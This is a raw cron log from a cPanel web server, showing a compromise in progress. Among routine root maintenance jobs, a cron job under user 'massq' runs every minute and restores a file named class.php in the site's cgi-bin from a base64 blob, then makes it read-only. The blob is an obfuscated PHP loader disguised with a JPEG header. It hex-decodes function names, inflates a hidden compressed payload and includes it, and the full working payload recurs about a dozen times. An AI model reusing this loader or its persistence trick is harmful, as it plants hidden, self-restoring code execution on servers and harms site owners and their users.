Sep  8 03:53:01 server CROND[13478]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:53:01 server CROND[13479]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 03:53:01 server CROND[13480]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:54:01 server CROND[13957]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 03:54:01 server CROND[13959]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:54:01 server CROND[13958]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:55:01 server CROND[14334]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:55:01 server CROND[14336]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 03:55:01 server CROND[14337]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 03:55:01 server CROND[14338]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 03:55:01 server CROND[14346]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 03:55:01 server CROND[14339]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:55:01 server CROND[14349]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 03:56:01 server CROND[15180]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:56:01 server CROND[15181]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 03:56:01 server CROND[15182]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:57:01 server CROND[15553]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:57:01 server CROND[15555]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 03:57:01 server CROND[15556]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:57:01 server CROND[15554]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 03:58:01 server CROND[15930]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:58:01 server CROND[15932]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 03:58:01 server CROND[15933]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:59:01 server CROND[16398]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:59:01 server CROND[16399]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 03:59:01 server CROND[16400]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:00:01 server CROND[16792]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 04:00:01 server CROND[16793]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 04:00:01 server CROND[16797]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 04:00:02 server CROND[16802]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 04:00:02 server CROND[16804]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  8 04:00:02 server CROND[16801]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 04:00:02 server CROND[16805]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:00:02 server CROND[16807]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:00:02 server CROND[16806]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 04:00:02 server CROND[16803]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  8 04:01:01 server CROND[17653]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:01:01 server CROND[17654]: (root) CMD (run-parts /etc/cron.hourly)
Sep  8 04:01:01 server CROND[17655]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:01:01 server CROND[17656]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 04:01:01 server run-parts(/etc/cron.hourly)[17654]: starting 0anacron
Sep  8 04:01:01 server anacron[17676]: Anacron started on 2026-09-08
Sep  8 04:01:01 server anacron[17676]: Job `cron.daily' locked by another anacron - skipping
Sep  8 04:01:01 server anacron[17676]: Normal exit (0 jobs run)
Sep  8 04:01:01 server run-parts(/etc/cron.hourly)[17678]: finished 0anacron
Sep  8 04:02:01 server CROND[18032]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:02:01 server CROND[18031]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:02:01 server CROND[18033]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 04:03:01 server CROND[18396]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:03:01 server CROND[18395]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:03:01 server CROND[18397]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 04:04:01 server CROND[18773]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:04:01 server CROND[18775]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
